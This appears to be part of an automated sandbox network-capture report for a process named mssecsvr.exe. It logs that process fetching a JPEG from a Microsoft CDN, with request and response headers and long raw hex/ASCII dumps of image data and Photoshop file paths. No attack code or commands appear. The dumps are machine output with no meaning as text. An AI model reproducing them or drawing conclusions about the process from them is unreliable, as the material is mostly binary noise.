2022-07-20 17:09:01 UTC	6833	IN	Data Raw: d9 58 4b bb e3 02 05 aa 2a 50 8e 36 1f 10 4f 72 ee f4 7f 6b bd ad 89 63 c2 e6 10 01 1d 4b e2 af 5a bb 55 4f 31 76 cb 88 b5 a4 8b 4c 24 c7 c3 4a b2 e1 9e 34 e2 b5 a0 24 91 c7 85 7b f4 d6 50 63 c9 24 6b 6d 0b ad 49 a9 02 da 5b 41 c7 bc da 1a 49 72 31 e7 e9 49 ca e0 1e 3f 57 6d de f2 eb ec 8d c7 af d3 1d da 25 a4 0f d3 aa 2c c8 49 37 20 70 b5 01 80 53 60 78 7a 79 75 a6 71 c6 b0 d5 9e 45 af 7a 8b f5 eb e9 22 8e 42 72 15 bb a7 88 fa 78 70 5d 28 c6 73 7a a9 3c b5 a1 d3 6c c5 18 e8 b0 0e f2 d6 ea 7d 27 4d 24 8a 63 b8 d3 1a 2c 60 b9 fa bf ba b5 62 67 00 c6 39 d0 35 7b a4 54 10 6b a0 77 2c 9e 9e 48 9d 5a d7 b2 af 4f bb fa da d6 b2 59 2a b7 d0 6b ad 4f d1 12 3a e4 73 24 ac 63 63 4e 23 c5 1c 91 fb df b5 dc d6 5e e7 73 94 78 b6 a7 2b a9 a5 7e 61 b9 fe 9e 00 e3 af 3c Data Ascii: XKP6OrkcKZUO1vL$J4${Pc$kmI[AIr1I?Wm%,I7 pS`xzyuqEz"Brxp](sz<l}'M$c,`bg95{Tkw,HZOYkO:s$ccN#^sx+~a<
2022-07-20 17:09:01 UTC	6849	IN	Data Raw: 71 ba 2a 61 c0 24 03 9c 28 a5 7e 92 79 75 13 ce 5e 45 06 ec 4f 1b f6 b5 55 10 2c 6d 6d 39 78 d4 ee 13 63 64 e5 4d 1e 4a 97 e9 47 f2 f8 f0 0d 55 ed 1e 25 b6 fd 18 d9 13 43 88 e9 09 b4 b4 66 ef 80 95 ba 9f ab a9 dc 24 92 1c 8c 83 5a f3 05 e3 ed d1 f9 19 2e 66 bc 9a 12 85 7f ab 46 92 2e 70 01 b8 d0 d8 d7 2f 4e b4 46 df 11 b1 56 b6 ac a6 c5 1f 4d 39 d9 be f7 cb d6 4b 0c bb b6 3e 51 dc 1d 9a 54 54 0c 57 bd 48 f9 5a de 16 bd 88 9d df 15 8f ad 33 e5 33 cd 12 e3 48 b0 b4 2a a8 92 3d 2d 56 fe 63 fb b7 e8 ad a6 53 85 89 d7 92 41 d6 12 87 e3 c4 b0 02 45 7b 7c d7 bb db f6 b5 47 0c 17 cc 1d 44 ae 3e 2e af f0 d4 c6 07 4f f6 9e ca b1 18 ca be 8f 48 87 10 98 d7 03 f6 ae bb 53 90 87 5c 48 fa e7 89 17 b9 3f a3 92 bf 0a 5b ab 52 83 17 66 18 b9 6b 63 1c 78 d6 c3 f4 b1 63 66 Data Ascii: qa$(~yu^EOU,mm9xcdMJGU%Cf$Z.fF.p/NFVM9K>QTTWHZ33H=-VcSAE{\|GD>.OHS\H?[Rfkcxcf
2022-07-20 17:09:01 UTC	6857	IN	Data Raw: 93 f8 be 4e 4f 36 9b fa 7f 33 10 34 98 85 02 f5 a2 26 d2 6a 2a 01 b2 df 8f cb a6 cf 84 db 6f a6 a4 97 0e 12 cf 92 54 39 8d 6b 6c 51 8e 4e ad 9c df 39 93 9b fe 66 9c 96 77 b3 6d d5 4a 99 19 70 61 dd 12 75 37 c3 8d 07 6e 4f 5b 35 fa b8 d4 5c ec 25 66 97 8d d7 12 3e 80 39 85 bf 66 ed 58 6e b9 38 f9 7b 2e d5 8b 8f ca f2 72 b2 fd 69 c9 56 f8 9e 5b f5 15 57 48 0a 29 bc 80 cd c3 db 4f 6e 98 ec 45 a4 6c 69 5b 8d a2 bf d9 56 d5 b7 11 06 0a f7 fe 13 16 51 e9 e4 6a 3a 3d 85 c7 6d 74 68 76 fa 04 5e d1 1a 85 07 f4 0d 0b be 44 b8 2f 87 33 70 55 91 99 8f d4 02 b3 69 ee de 81 91 17 e9 00 9f ec d2 df 5d 43 5c 7c 7f 61 63 28 fe d4 d7 9b 8a 52 77 0a 8c 74 39 7e 16 a2 a0 d6 f5 ca 36 64 c8 dc ff 00 33 bc c8 6d 89 1a c4 5f 61 2e dd df b0 bc cf aa 9d c3 e6 16 03 d8 87 fb 40 d6 Data Ascii: NO634&j*oT9klQN9fwmJpau7nO[5\%f>9fXn8{.riV[WH)OnEli[VQj:=mthv^D/3pUi]C\\|ac(Rwt9~6d3m_a.@
2022-07-20 17:09:01 UTC	6873	IN	Data Raw: c7 dd af 73 d8 c5 b6 43 43 43 45 1f da 1c e9 76 34 00 98 1c f0 5a dc 4f c2 3a 8d fb 1a 7d ba 26 3f e4 54 64 33 00 0a 85 28 2b 5a 2f d6 57 cd a1 a5 96 2c 7d be 27 00 b2 32 b2 0a f0 24 31 64 6e 65 ee f2 5f a3 ed e4 1a 68 4e 4e 6f 6a 6d 93 8d b8 d8 00 6a 2f 31 cb 90 fe d6 24 9f eb d1 d8 58 b1 42 57 aa b7 39 e3 db c0 68 ed a7 1a 2c ec f8 cb 42 3a 11 f1 75 b8 f1 fb 7e 1d 5c 2f a6 f6 27 76 9c 89 d5 18 f2 a5 c0 2a f0 fc 3b e8 ce f7 37 8b 5e a7 6d b5 79 a2 06 35 b8 e1 6b f3 56 9c 1f 29 de 6e e1 12 40 0e 04 b2 e5 7c 7a 69 2e df 8d 1a c6 1d 05 aa 4d 68 3b 35 5f 89 85 f9 ad ce 37 ed 56 8d bf 75 b4 34 1b 3c 19 a0 63 ed c4 ab d4 d9 0b fb 41 37 58 b3 56 db b9 bc 6a bd dd 50 fa 72 20 72 e3 2c 39 95 0f fe 16 6b c6 7c f3 6d b9 d9 33 34 cb 8e 41 f0 3d 4a 55 ba 79 aa 9f fb Data Ascii: sCCCEv4ZO:}&?Td3(+Z/W,}'2$1dne_hNNojmj/1$XBW9h,B:u~\/'v*;7^my5kV)n@\|zi.Mh;5_7Vu4<cA7XVjPr r,9k\|m34A=JUy
2022-07-20 17:09:01 UTC	6889	IN	Data Raw: 58 44 69 dd 8e 27 23 ea 2f cb a5 63 c9 e6 50 ba 0b 9d 3d ec ab 56 12 91 a1 5e dd 3d ee 5a 86 83 6e 9f 30 2c f1 10 ed 3e 41 8c a8 ed 0c dc d1 7f eb 73 59 f0 3e 9f 64 e5 0c 8d d5 e1 5e e8 0c ab 4e cb 50 2c 29 f6 79 74 a7 d1 fb b3 e0 64 18 59 6f 8d c1 65 af 86 44 1d 58 65 5f 81 fc 3e 56 7d 7d b4 b1 ff 00 54 72 fc 0a c7 c2 bf a5 75 bd 32 5d 9e fd c5 38 7b af 53 d9 72 4f 0a 73 e9 9c 7f c9 a6 44 ce 39 9d 88 af eb 30 fd 8d 67 39 79 dc b0 25 8d 28 07 e9 3f bd ad c1 84 0a 63 1c 10 13 d8 6b c4 9b 9f 8f c5 a5 32 e6 2c 53 44 ea 4d 7a e8 0f d1 c3 49 2a b4 b2 33 8e 27 fe ca 5e 42 ac 47 a3 fe ca 12 0c b7 c1 c4 9b 29 08 07 bb 1f 0a 9f d6 d6 1b 0e e3 d4 75 92 75 12 50 90 e1 80 21 be 25 6e f6 bc de 71 83 91 1a 38 11 ab 31 65 e2 2d e3 c9 7b 11 67 37 b9 a1 f1 65 8f 18 29 8c Data Ascii: XDi'#/cP=V^=Zn0,>AsY>d^NP,)ytdYoeDXe_>V}}Tru2]8{SrOsD90g9y%(?ck2,SDMzI*3'^BG)uuP!%nq81e-{g7e)
2022-07-20 17:09:01 UTC	6896	IN	Data Raw: 50 c4 02 2a 07 e9 e0 ff 00 7b 4b 6f 20 69 63 c1 74 d5 2f ee 86 56 a7 e3 c4 13 7e d0 40 fe ca 7b ea dc 7e ac 71 e5 28 e4 b8 07 3f 57 1b 2b f0 ea 5a 69 01 48 d1 4d 45 a7 86 aa b6 09 d7 79 c5 93 06 63 cc 63 2b c4 f1 e3 cd 1b af c2 d6 e9 26 66 cf 99 b7 c6 99 72 63 ba 46 a4 06 2d 41 50 79 78 2b 73 7e ae 87 b7 61 1f e4 39 19 21 e5 f6 b2 e9 a0 ed c9 bb 2b 69 63 e8 a2 36 f0 b3 6d bd 17 65 8c 12 d5 76 ec 02 be ef 36 96 e6 66 63 ad 06 31 76 2a 00 bd a8 2b 4f 2c 63 fb fa 3a 57 51 b7 90 9c 05 87 f6 b5 35 76 9d da c6 4b 34 82 e0 86 3a 53 10 4c f1 48 ae a6 ce 84 d9 85 34 87 71 98 ab 37 6a ad 2a 75 f6 3e 74 b0 4a b3 03 42 0d 18 1e 00 a9 e5 75 fb 49 ad 9b 54 0b 34 24 49 dc 69 16 e2 7b 02 8e 63 ac b7 98 e3 25 5e 22 6d 2c c1 41 f2 8e ee 8f 24 e6 46 68 98 69 da 7d 9a d9 9b Data Ascii: P{Ko ict/V~@{~q(?W+ZiHMEycc+&frcF-APyx+s~a9!+ic6mev6fc1v+O,c:WQ5vK4:SLH4q7j*u>tJBuIT4$Ii{c%^"m,A$Fhi}
2022-07-20 17:09:01 UTC	6912	IN	Data Raw: a2 a0 c1 bd c6 ef 57 be ba 48 77 6d 95 d0 0b f2 23 37 c5 f4 82 bc d2 7d 96 8f 5c 12 1c 79 f7 2c 8a 40 95 62 7d 9c 00 f8 8f 87 5d 4f 67 dd 8e e5 bc bf 13 d0 91 9a 8a 7d 8b ff 00 97 5c f2 5d cf 23 66 c9 96 0c 47 a4 69 23 80 a4 02 0d 18 f7 ae d7 b3 ff 00 6e 86 db 07 da 3d ed cb 30 f6 7c ce a5 a4 64 dc 34 e0 bc 56 d4 95 19 74 e4 9d ff 00 8a a8 f7 68 1e 34 8a 47 a5 cc a0 31 1e 65 e5 d2 a0 c7 b5 7d 9a 2f 1b 7a ff 00 5b c3 90 4e 15 66 88 86 01 78 02 0f 7a 8b a5 9d 42 8e 47 b1 85 0e 98 81 1d 4b c2 c2 c0 16 fe ce a5 fb b5 91 e5 95 38 c8 39 bb d6 a6 fb c4 ac 71 21 90 f8 aa 38 7d 3a 5f 95 2d 9b 7c 70 81 c7 a8 5c 9f a8 8b 75 eb e6 75 b0 9b 16 4e 26 36 0c 9f f8 36 b1 78 4c 91 a8 f0 90 3f ab 45 d9 41 22 02 85 47 13 7b f8 7a d6 ae e1 54 29 f5 eb 7a 45 39 24 81 a7 de 9c Data Ascii: WHwm#7}\y,@b}]Og}\]#fGi#n=0\|d4Vth4G1e}/z[NfxzBGK89q!8}:_-\|p\uuN&66xL?EA"G{zT)zE9$
2022-07-20 17:09:01 UTC	6928	IN	Data Raw: 2a 43 89 20 9b 26 5c 86 34 67 56 73 4f a4 9f f1 68 84 21 40 fd 24 e9 56 de cd f3 1e 9c 05 aa 4f de 36 fe ae 8c 69 e9 1b 1f 6e 8b b6 81 83 31 3a 9e 93 ea 55 ac 7d ca b3 49 66 39 1d 35 ac 24 7a f5 38 f6 29 a7 f6 6b 5e 03 58 8a 09 a9 d2 dc 89 c9 89 d8 7d 43 fb 4e 9b 7a 77 0b fd 4d 5d 55 ed 78 d0 b9 14 ed 00 f7 57 de d2 db d0 10 33 13 cb 7d 7d 54 ca c1 78 b1 0b 76 66 b7 f6 2d 50 c3 2a 34 6a 83 bd 5a d7 41 6e f9 83 1c 43 8c 78 3c cd 70 fa a3 5e 5f fd c7 fd 8d 67 b7 66 46 80 c7 30 40 2b 5b 8a f3 01 f1 eb 7f e6 b1 77 49 28 c8 af 14 2c b1 ad c0 56 da da 39 bb dd ee 6e f6 b2 15 31 92 e5 49 51 a9 3f 87 ef 55 c6 3b 62 24 23 32 bc a1 57 c5 e2 fa 77 aa 33 27 32 95 48 fb 2b c7 eb d0 61 cb 9a 93 c7 5d 57 2b fd ba da b7 04 0f 8b 21 c7 90 f0 e0 6a 87 ec 3f 77 ef 6a 67 2f Data Ascii: C &\4gVsOh!@$VO6in1:U}If95$z8)k^X}CNzwM]UxW3}}Txvf-P4jZAnCx<p^_gfF0@+[wI(,V9n1IQ?U;b$#2Ww3'2H+a]W+!j?wjg/
2022-07-20 17:09:01 UTC	6936	IN	Data Raw: d8 3f f4 66 15 c6 7d cc c6 c4 ab c7 dd 46 e7 e8 8f ec 7c 59 53 fb 6d dc 10 dd 51 d4 06 cb 4c bc 54 2f ae 30 d2 30 72 e3 70 86 e5 b9 7e 93 ee fb da e4 79 b9 02 49 09 0d c4 9d 5f fa b7 72 39 ea ff 00 97 8d 99 9d 6d 8a 4a d0 0f 7d 50 f9 ad b6 ed 72 ac ac 2c 8d b6 56 c7 ca 16 ca 87 9b 8d 7f 59 7b da 8f 94 ed da 38 b0 94 da 45 ee 9e ac 68 13 34 4e f7 4b 30 ed b1 ed ad b3 48 c8 4b 57 b6 a0 68 17 6e 3d ba d7 23 96 f6 fb 75 8f 16 e1 ad e4 4c 68 25 14 dc db ea a2 f1 50 b3 0a 1a 13 ed d1 fb a6 31 11 45 18 37 33 b3 53 fa 80 fe f6 87 db e0 af d1 5a eb 76 f9 29 49 97 11 38 3c 6a 6b c7 cd cd c3 ec db a1 02 5a 70 17 d6 4d 2c a4 79 a0 2a e5 6d 58 d2 89 ed 80 18 23 6b 8f 8d 87 b4 8f 0a fb 9a d4 91 d4 f6 eb 18 56 a7 8e 8a 09 4a 1d 34 5b 1d 2f 4c 68 ba f6 56 71 02 c2 95 d1 Data Ascii: ?f}F\|YSmQLT/00rp~yI_r9mJ}Pr,VY{8Eh4NK0HKWhn=#uLh%P1E73SZv)I8<jkZpM,y*mX#kVJ4[/LhVq

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.7	53446	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:09:01 UTC	5125	OUT	GET /cms/api/am/imageFileData/RE4PtWe?ver=aadd HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 17:09:01 UTC	5125	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4PtWe?ver=aadd Last-Modified: Sun, 17 Jul 2022 19:15:33 GMT X-Source-Length: 1675066 X-Datacenter: northeu X-ActivityId: be4c5f6a-3fc7-47d3-a344-5a38aa52b54e Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1675066 Cache-Control: public, max-age=180350 Expires: Fri, 22 Jul 2022 19:14:51 GMT Date: Wed, 20 Jul 2022 17:09:01 GMT Connection: close
2022-07-20 17:09:01 UTC	5125	IN	Data Raw: ff d8 ff e1 27 d7 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 33 3a 30 32 20 31 33 3a 32 30 3a 33 32 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: 'ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:03:02 13:20:328"
2022-07-20 17:09:01 UTC	5141	IN	Data Raw: a5 6d 0a ae 47 4d cc ab 2a bc 2c 6a 85 75 64 7a 86 97 82 e2 f7 96 fb ec 76 1d ae ad d6 33 77 e8 d9 53 ff 00 73 fe dd 5a 9d 2e ec 9c 8e 97 5b 03 5a de 9d 8f 93 63 45 a5 cd f4 6c ae bb 1e ff 00 d2 b9 f6 d4 db bd 26 7d 0f 66 cb ff 00 9b ff 00 07 62 6e b5 83 92 fc 1a 2d 36 e3 e5 d9 83 75 6f 6d 9b 89 73 eb 6b bd 94 b2 f6 fb dd 5f a7 6f af 6b 29 af f4 7f e6 57 4d a1 93 87 39 88 90 f5 4e 56 3c 7e 58 e4 e1 e3 f6 f8 f8 91 fa 3e 41 1d fd 3b a3 d3 90 ca 6d 7b 81 f4 b6 dc c7 d0 e0 00 21 d4 fa bb 5c dd f7 3b 1f d9 ea 55 b7 df fd 22 bf f0 94 e4 71 9f 64 bf f7 8f f3 9f 64 fa 7f e1 3f d2 ff 00 57 fd 7d 45 db e7 7d 61 e9 e0 b8 63 62 da 2c b9 e1 d5 39 ef 01 b2 c2 6c 05 df cf b7 d5 7b 9f fa 46 57 e8 fa ec fe 7b fd 12 c5 fd ad 67 fd c5 c7 fe 91 f6 8f cf fe 73 fc ef e7 7f ee Data Ascii: mGM*,judzv3wSsZ.[ZcEl&}fbn-6uomsk_ok)WM9NV<~X>A;m{!\;U"qdd?W}E}acb,9l{FW{gs
2022-07-20 17:09:01 UTC	5157	IN	Data Raw: 74 74 79 49 6d 61 67 65 73 5f 31 37 35 37 35 35 30 33 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 38 54 31 36 3a 33 36 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f 42 61 74 63 68 32 5c 43 72 6f 70 73 5c 51 34 2d 31 32 35 2d 42 61 74 63 68 32 5f 51 34 32 30 31 36 5f 5a 61 62 72 69 73 6b 69 65 50 6f 69 6e 74 5f 47 65 74 74 79 49 6d 61 67 65 73 5f 35 34 37 34 30 38 38 36 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 38 54 31 36 3a 33 39 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 Data Ascii: ttyImages_175755036_1080x1920.jpg saved 2016-07-08T16:36:39-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_Batch2\Crops\Q4-125-Batch2_Q42016_ZabriskiePoint_GettyImages_547408861_1080x1920.jpg saved 2016-07-08T16:39:50-07:00 Fi
2022-07-20 17:09:01 UTC	5159	IN	Data Raw: 34 2d 31 32 35 2d 42 61 74 63 68 32 5f 50 65 67 67 79 73 43 6f 76 65 43 61 6e 61 64 61 5f 47 65 74 74 79 49 6d 61 67 65 73 5f 31 31 37 33 31 30 32 32 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 38 54 31 38 3a 34 34 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f 42 61 74 63 68 32 5c 43 72 6f 70 73 5c 51 34 2d 31 32 35 2d 42 61 74 63 68 32 5f 45 6c 2d 6e 69 64 6f 50 68 69 6c 69 70 70 69 6e 65 73 5f 35 30 30 70 78 5f 31 32 38 32 30 39 35 30 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 Data Ascii: 4-125-Batch2_PeggysCoveCanada_GettyImages_117310221_1080x1920.jpg saved 2016-07-08T18:44:24-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_Batch2\Crops\Q4-125-Batch2_El-nidoPhilippines_500px_128209505_1080x1920.jpg saved 2016-07-0
2022-07-20 17:09:01 UTC	5175	IN	Data Raw: 51 34 2d 35 30 30 5f 42 61 74 63 68 31 5c 43 72 6f 70 73 5c 51 34 2d 35 30 30 2d 31 5f 46 6f 6f 74 62 72 69 64 67 65 4c 65 61 64 73 54 6f 53 65 61 5f 50 6c 61 69 6e 70 69 63 74 75 72 65 5f 70 33 30 30 6d 39 37 39 31 36 34 66 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 31 30 54 31 34 3a 30 31 3a 30 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 35 30 30 5f 42 61 74 63 68 31 5c 43 72 6f 70 73 5c 51 34 2d 35 30 30 2d 31 5f 4c 61 6b 65 4d 6f 72 6e 69 6e 67 4c 69 67 68 74 5f 50 6c 61 69 6e 70 69 63 74 75 72 65 5f 70 35 37 35 6d 31 30 37 34 34 38 39 66 5f 31 30 38 30 78 Data Ascii: Q4-500_Batch1\Crops\Q4-500-1_FootbridgeLeadsToSea_Plainpicture_p300m979164f_1080x1920.jpg saved 2016-08-10T14:01:01-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-500_Batch1\Crops\Q4-500-1_LakeMorningLight_Plainpicture_p575m1074489f_1080x
2022-07-20 17:09:01 UTC	5191	IN	Data Raw: 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 38 54 31 33 3a 33 31 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 4a 75 61 6e 5c 53 55 52 31 35 5f 50 72 6f 34 5f 54 61 62 6c 65 74 5f 30 35 5f 47 72 61 64 69 65 6e 74 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 38 54 31 33 3a 33 31 3a 35 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c Data Ascii: File Lockscreen_1080x1920_Portrait.psd opened 2016-09-28T13:31:43-07:00 File C:\Users\v-lizagh\MS\Windows10\Surface\Juan\SUR15_Pro4_Tablet_05_Gradient_1080x1920.jpg saved 2016-09-28T13:31:56-07:00 File C:\Users\v-lizagh\MS\Windows10\L
2022-07-20 17:09:01 UTC	5198	IN	Data Raw: 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 31 38 3a 30 36 3a 35 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 31 38 3a 31 36 3a 32 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 Data Ascii: 0\Lockscreen_1080x1920_Portrait.psd saved 2016-10-17T18:06:53-07:00 File Lockscreen_1080x1920_Portrait.psd opened 2016-10-17T18:16:29-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080
2022-07-20 17:09:01 UTC	5214	IN	Data Raw: 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 36 30 35 36 32 32 35 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 33 39 3a 31 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 36 35 36 39 31 38 35 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 34 30 3a 31 31 2d 30 38 Data Ascii: e\Crops\Office_Skype_GettyImages-660562255_1080x1920.jpg saved 2016-11-23T15:39:14-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Skype\Crops\Office_Skype_GettyImages-665691853_1080x1920.jpg saved 2016-11-23T15:40:11-08
2022-07-20 17:09:01 UTC	5230	IN	Data Raw: 49 6d 61 67 65 73 2d 31 35 32 33 30 34 37 39 34 5f 31 30 38 30 78 31 39 32 30 46 46 38 34 30 44 32 36 34 41 34 32 44 31 32 30 38 41 42 41 35 35 34 35 34 36 44 31 44 35 36 32 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 30 54 31 34 3a 33 37 3a 31 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4d 53 2d 52 65 77 61 72 64 73 5c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 47 65 6e 65 72 61 6c 5c 4d 6f 76 69 65 73 5c 43 48 4f 53 45 4e 5c 45 64 67 65 2d 4d 53 52 65 77 61 72 64 73 2d 4d 6f 76 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 38 34 34 39 33 38 37 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 Data Ascii: Images-152304794_1080x1920FF840D264A42D1208ABA554546D1D562.psb saved 2017-01-30T14:37:13-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\MS-Rewards\Entertainment-General\Movies\CHOSEN\Edge-MSRewards-Movies_GettyImages-584493872_1080x1920.jpg saved&
2022-07-20 17:09:01 UTC	5238	IN	Data Raw: 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 32 54 31 37 3a 34 35 3a 31 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4d 61 72 63 68 4d 61 64 6e 65 73 73 2d 4e 43 41 41 5c 4d 61 72 63 68 5c 43 48 4f 53 45 4e 5c 4d 49 54 2d 4d 61 72 63 68 4d 61 64 6e 65 73 73 2d 4e 43 41 41 5f 47 65 74 74 79 49 6d 61 67 65 73 2d Data Ascii: Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-02-22T17:45:18-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\MarchMadness-NCAA\March\CHOSEN\MIT-MarchMadness-NCAA_GettyImages-
